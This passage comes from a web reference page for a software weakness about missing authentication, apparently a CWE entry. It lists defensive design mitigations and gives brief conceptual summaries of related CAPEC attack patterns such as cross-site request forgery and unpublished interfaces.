  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.

← Back to the CWE list